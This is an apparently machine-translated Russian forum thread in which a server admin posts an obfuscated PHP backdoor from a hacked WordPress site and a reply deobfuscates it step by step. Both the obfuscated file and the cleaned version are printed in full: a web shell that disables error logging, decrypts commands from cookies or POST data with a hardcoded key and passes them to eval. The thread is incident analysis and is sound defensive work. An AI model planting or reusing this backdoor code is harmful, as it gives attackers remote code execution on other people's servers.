2016-05-04 4 views
-5

Один из моих клиентов, использующих WordPress, взломан с помощью какого-то вредоносного кода, как показано ниже. Во всем своем public_html есть много файлов, подобных этому. Хотя я сказал ей удалять все и повторно загружать все и обновлять фреймворки, плагины и т. Д., Но я также хочу знать, как я могу сфотографировать кодыСкрипт обфускации в WordPress

Почему? Поскольку мой провайдер VPS сказал мне, что некоторые попытки взлома были сделаны с использованием моего IP (основного сервера) на каком-то новостном канале, и я должен прекратить подобные действия или просто прекратит мой VPS.

Так может ли кто-нибудь вести меня, чтобы узнать точный код, чтобы я мог проанализировать, какие вреды он может сделать.

Обратите внимание, что я сделал jail-shell, CSF, блокирующий IP-адрес, который все же находит.

<?php  
$GLOBALS['efaa04'] = "\x3e\x9\x2c\x46\x67\x37\x52\x32\x7d\x53\x6c\x7b\x61\x29\x6e\x68\x4f\x3f\x40\x50\x3d\x71\x6a\x54\x30\x76\x59\x25\x2b\x73\x2d\x28\x7c\x66\x23\x65\x5d\x58\x5a\x22\x64\x33\x57\x69\x5b\x63\x26\x4b\x51\x78\x4e\x2e\x62\x35\x7e\x5c\x42\x45\x47\x31\x36\x2a\x3a\x4a\x6f\x77\x5f\x39\x21\xa\x2f\x75\x41\x79\x4d\x55\x5e\x7a\x34\x44\x48\xd\x3c\x20\x49\x60\x74\x24\x4c\x43\x27\x6d\x56\x72\x70\x6b\x38\x3b"; 

$GLOBALS[$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][12]] = $GLOBALS['efaa04'][45].$GLOBALS['efaa04'][15].$GLOBALS['efaa04'][93]; 

$GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][24]] = $GLOBALS['efaa04'][64].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][40]; 

$GLOBALS[$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][96]] = $GLOBALS['efaa04'][29].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][14]; 
$GLOBALS[$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53]] = $GLOBALS['efaa04'][43].$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][86]; 
$GLOBALS[$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][67]] = $GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][77].$GLOBALS['efaa04'][35]; 
$GLOBALS[$GLOBALS['efaa04'][73].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][60]] = $GLOBALS['efaa04'][94].$GLOBALS['efaa04'][15].$GLOBALS['efaa04'][94].$GLOBALS['efaa04'][25].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][29].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][14]; 
$GLOBALS[$GLOBALS['efaa04'][15].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][96]] = $GLOBALS['efaa04'][71].$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][77].$GLOBALS['efaa04'][35]; 
$GLOBALS[$GLOBALS['efaa04'][22].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][40]] = $GLOBALS['efaa04'][52].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][35]; 
$GLOBALS[$GLOBALS['efaa04'][73].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][35]] = $GLOBALS['efaa04'][29].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][86]; 
$GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][60]] = $GLOBALS['efaa04'][21].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][59]; 
$GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][45]] = $GLOBALS['efaa04'][14].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59]; 
$GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][33]] = $_POST; 
$GLOBALS[$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][33]] = $_COOKIE; 
@$GLOBALS[$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53]]($GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][10].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][4], NULL); 
@$GLOBALS[$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53]]($GLOBALS['efaa04'][10].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][4].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][29], 0); 
@$GLOBALS[$GLOBALS['efaa04'][93].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53]]($GLOBALS['efaa04'][91].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][64].$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][66].$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][43].$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][35], 0); 
@$GLOBALS[$GLOBALS['efaa04'][73].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][35]](0); 

$n1f035 = NULL; 
$la02268b = NULL; 

$GLOBALS[$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][59]] = $GLOBALS['efaa04'][78].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][33]; 
global $ea0d31; 

function n6ee1($n1f035, $f3ddc0) 
{ 
    $kdaf = ""; 

    for ($v40207=0; $v40207<$GLOBALS[$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][96]]($n1f035);) 
    { 
     for ($w6efcf7b=0; $w6efcf7b<$GLOBALS[$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][96]]($f3ddc0) && $v40207<$GLOBALS[$GLOBALS['efaa04'][49].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][45].$GLOBALS['efaa04'][96]]($n1f035); $w6efcf7b++, $v40207++) 
     { 
      $kdaf .= $GLOBALS[$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][12]]($GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][24]]($n1f035[$v40207])^$GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][24]]($f3ddc0[$w6efcf7b])); 
     } 
    } 

    return $kdaf; 
} 

function q471($n1f035, $f3ddc0) 
{ 
    global $ea0d31; 

    return $GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][45]]($GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][45]]($n1f035, $ea0d31), $f3ddc0); 
} 

foreach ($GLOBALS[$GLOBALS['efaa04'][91].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][33]] as $f3ddc0=>$tf250bbad) 
{ 
    $n1f035 = $tf250bbad; 
    $la02268b = $f3ddc0; 
} 

if (!$n1f035) 
{ 
    foreach ($GLOBALS[$GLOBALS['efaa04'][71].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][33]] as $f3ddc0=>$tf250bbad) 
    { 
     $n1f035 = $tf250bbad; 
     $la02268b = $f3ddc0; 
    } 
} 

$n1f035 = @$GLOBALS[$GLOBALS['efaa04'][15].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][33].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][5].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][96]]($GLOBALS[$GLOBALS['efaa04'][86].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][67].$GLOBALS['efaa04'][41].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][60]]($GLOBALS[$GLOBALS['efaa04'][22].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][59].$GLOBALS['efaa04'][40]]($n1f035), $la02268b)); 
if (isset($n1f035[$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][95]]) && $ea0d31==$n1f035[$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][95]]) 
{ 
    if ($n1f035[$GLOBALS['efaa04'][12]] == $GLOBALS['efaa04'][43]) 
    { 
     $v40207 = Array(
      $GLOBALS['efaa04'][94].$GLOBALS['efaa04'][25] => @$GLOBALS[$GLOBALS['efaa04'][73].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][78].$GLOBALS['efaa04'][96].$GLOBALS['efaa04'][40].$GLOBALS['efaa04'][60]](), 
      $GLOBALS['efaa04'][29].$GLOBALS['efaa04'][25] => $GLOBALS['efaa04'][59].$GLOBALS['efaa04'][51].$GLOBALS['efaa04'][24].$GLOBALS['efaa04'][30].$GLOBALS['efaa04'][59], 
     ); 
     echo @$GLOBALS[$GLOBALS['efaa04'][14].$GLOBALS['efaa04'][35].$GLOBALS['efaa04'][60].$GLOBALS['efaa04'][7].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][53].$GLOBALS['efaa04'][12].$GLOBALS['efaa04'][52].$GLOBALS['efaa04'][67]]($v40207); 
    } 
    elseif ($n1f035[$GLOBALS['efaa04'][12]] == $GLOBALS['efaa04'][35]) 
    { 
     eval($n1f035[$GLOBALS['efaa04'][40]]); 
    } 
    exit(); 
} 

Пробовал декодировать его с http://localhost/script.php?testGet=sss и получил результат

Array 
(
    [_GET] => Array 
     (
      [testGet] => sss 
     ) 

    [_POST] => Array 
     (
     ) 

    [_COOKIE] => Array 
     (
     ) 

    [_FILES] => Array 
     (
     ) 

    [GLOBALS] => Array 
*RECURSION* 
    [efaa04] => > ,Fg7R2}Sl{a)[email protected]=qjT0vY%+s-(|f#e]XZ"d3Wi[c&KQxN.b5~\BEG16*:Jow_9! 
/uAyMU^z4DH 
< I`t$LC'mVrpk8; 
    [m56df3a] => chr 
    [ue8410] => ord 
    [x6a870c8] => strlen 
    [rfa65] => ini_set 
    [ne6255ab9] => serialize 
    [y648d6] => phpversion 
    [h8f865758] => unserialize 
    [j51e1d] => base64_decode 
    [y8512e] => set_time_limit 
    [t4193646] => q471 
    [t297c] => n6ee1 
    [uaf6e192f] => Array 
     (
     ) 

    [mb1694f] => Array 
     (
     ) 

    [n1f035] => 
    [la02268b] => 
    [ea0d31] => 435a677a-8b6e-4dc3-92e9-b2746832025f 
) 

got here 
got not set n1f035 
got q471string(0) "" 
got n6ee1 : => 435a677a-8b6e-4dc3-92e9-b2746832025f 
strlen 
NULL string(0) "" 
got n6ee1 : => 
strlen 
NULL string(0) "" string(0) "" 
got n6ee1 : => 435a677a-8b6e-4dc3-92e9-b2746832025f 
strlen 
NULL string(0) "" 
got n6ee1 : => 
strlen 
NULL bool(false) 

Я сказал своему клиенту их, чтобы удалить все файлы и повторно загрузить данные из резервной копии. Как я уже сказал, я нашел так много C99madshell (raw), это похоже на обфускацию.

Обратите внимание, что я нашел способ защиты путем поиска вредоносного кода и его удаления. Затем запустите команду, как chattr -R +i ./public_html, тогда она кажется остановленной, хотя я уверен, что внутри есть много бэкдор-скриптов. но если бы я знал, что точный код выше будет лучше.

+0

Я понятия не имею, как деобфускации, но эта строка - это команда: 'eval ($ n1f035 [$ GLOBALS ['efaa04'] [40]]);' Попробуйте сбросить его. – vaso123

+0

Что произойдет, если вы просто удалите этот вредоносный код? Он возвращается? Я был взломан на прошлой неделе, и им удалось заставить меня установить поддельный плагин, поэтому проверьте свой список плагинов ... (любой «eval» - это дьявол). Вы также можете использовать «Wordfence» для защиты вашего wp ... – Random

+0

@lolka_bolka Я попытался свалить его, но кажется, что конкретный блок кода не выполняется .... и $ n1f035, похоже, имеет (bool) false – farness

ответ

0

Я согласен с @Epodax, так что это не сайт консультаций по безопасности, но я думаю, что обсуждение вокруг обфускации достойно, и многие люди могут многому научиться - от него.

Я все еще не мог понять, что делает сценарий, медленно работая над ним, поскольку я нахожу свободное время, но хочу поделиться своим прогрессом до сих пор.

Сначала я использовал Psysh, an interactive PHP shell, чтобы получить все те конкатенации $GLOBALS['efaa04'] элементов и сделать жизнь проще. Просто запустите первую строку $GLOBALS['efaa04'] = "\x3e\x9\x2c\x46\x67\x37\x52\x32\x7d\x53\x6c\x7b\x61\x29\x6e\x68\x4f\x3f\x40\x50\x3d\x71\x6a\x54\x30\x76\x59\x25\x2b\x73\x2d\x28\x7c\x66\x23\x65\x5d\x58\x5a\x22\x64\x33\x57\x69\x5b\x63\x26\x4b\x51\x78\x4e\x2e\x62\x35\x7e\x5c\x42\x45\x47\x31\x36\x2a\x3a\x4a\x6f\x77\x5f\x39\x21\xa\x2f\x75\x41\x79\x4d\x55\x5e\x7a\x34\x44\x48\xd\x3c\x20\x49\x60\x74\x24\x4c\x43\x27\x6d\x56\x72\x70\x6b\x38\x3b";, а затем повторите части, которые используют эти элементы массива, чтобы понять, что они означают.

Некоторые линии, как это показал:

$GLOBALS["x6a870c8"] = "strlen"; 
$GLOBALS["rfa65"] = "ini_set"; 
$GLOBALS["ne6255ab9"] = "serialize"; 
$GLOBALS["y648d6"] = "phpversion"; 
$GLOBALS["h8f865758"] = "unserialize"; 
... 

После этого я заменил $GLOBALS["x6a870c8"] с strlen, $GLOBALS["rfa65"] с ini_set и так далее, и это то, что я до сих пор:

<?php  
@ini_set("error_log", NULL); 
@ini_set("log_errors", 0); 
@ini_set("max_execution_time", 0); 
@set_time_limit(0); 

$n1f035 = NULL; 
$la02268b = NULL; 

$GLOBALS["ea0d31"] = "435a677a-8b6e-4dc3-92e9-b2746832025f"; 
global $ea0d31; 

function n6ee1($n1f035, $f3ddc0) 
{ 
    $kdaf = ""; 

    for ($v40207=0; $v40207 < strlen($n1f035);) 
    { 
     for ($w6efcf7b=0; $w6efcf7b < strlen($f3ddc0) && $v40207 < strlen($n1f035); $w6efcf7b++, $v40207++) 
     { 
      $kdaf .= chr(ord($n1f035[$v40207])^ord($f3ddc0[$w6efcf7b])); 
     } 
    } 

    return $kdaf; 
} 

function q471($n1f035, $f3ddc0) 
{ 
    global $ea0d31; 

    return n6ee1(n6ee1($n1f035, $ea0d31), $f3ddc0); 
} 

foreach ($_COOKIE as $f3ddc0=>$tf250bbad) 
{ 
    $n1f035 = $tf250bbad; 
    $la02268b = $f3ddc0; 
} 

if (!$n1f035) 
{ 
    foreach ($_POST as $f3ddc0=>$tf250bbad) 
    { 
     $n1f035 = $tf250bbad; 
     $la02268b = $f3ddc0; 
    } 
} 

$n1f035 = @unserialize(q471(base64_decode($n1f035), $la02268b)); 
if (isset($n1f035["ak"]) && $ea0d31==$n1f035["ak"]) 
{ 
    if ($n1f035["a"] == "i") 
    { 
     $v40207 = Array(
      "pv" => @phpversion(), 
      "sv" => "1.0-1", 
     ); 
     echo @serialize($v40207); 
    } 
    elseif ($n1f035["a"] == "e") 
    { 
     eval($n1f035["d"]); 
    } 
    exit(); 
} 

Де- обфускация может быть жесткой или забавной, это зависит от вашей точки зрения. Подумайте об этом, как о головоломке. Следующие шаги должны привести в порядок, переименовать vars и функции в более дружественные вещи и так далее.

Исправление вашего сайта клиента и сохранение его в безопасности - это домашнее задание, но я с нетерпением жду дискуссии вокруг де-обфускации и методов для этого.

Совет: Используйте find . -type f -printf '%[email protected] %TY-%Tm-%Td %TH:%TM:%.2TS %p\n' | sort -nr | head -n 25 | cut -f2- -d" ", чтобы перечислить 25 последних измененных файлов на вашем сервере. Вы можете увеличить число, если хотите. Я предполагаю, что зараженные файлы изменились в тот же день или, по крайней мере, близкие даты, чтобы помочь очистить беспорядок, если вы не можете просто стереть вещи в данный момент.

+0

Many Thanks @Paulera ... Две вещи, которые я имею в виду ... 1. Этот файл просто кластер, 3 или 4 этого типа файлов может работать вместе 2. Он может просто запустить команду выбора пользователя из GET, POST и т. Д. ... и еще раз спасибо за ваш отзыв ... но если какой-то орган запускает команду touch для изменения времени файла, он все равно будет работать? – farness

+0

Я даже удивляюсь, что есть часть клиентской части, в которой используется $ _COOKIES. С нетерпением ждем, чтобы углубиться в нее. И да, если вы просто «коснетесь» файла, он будет восстановлен этой командой как недавно измененный. –

+0

это действительно большая помощь – farness

Смежные вопросы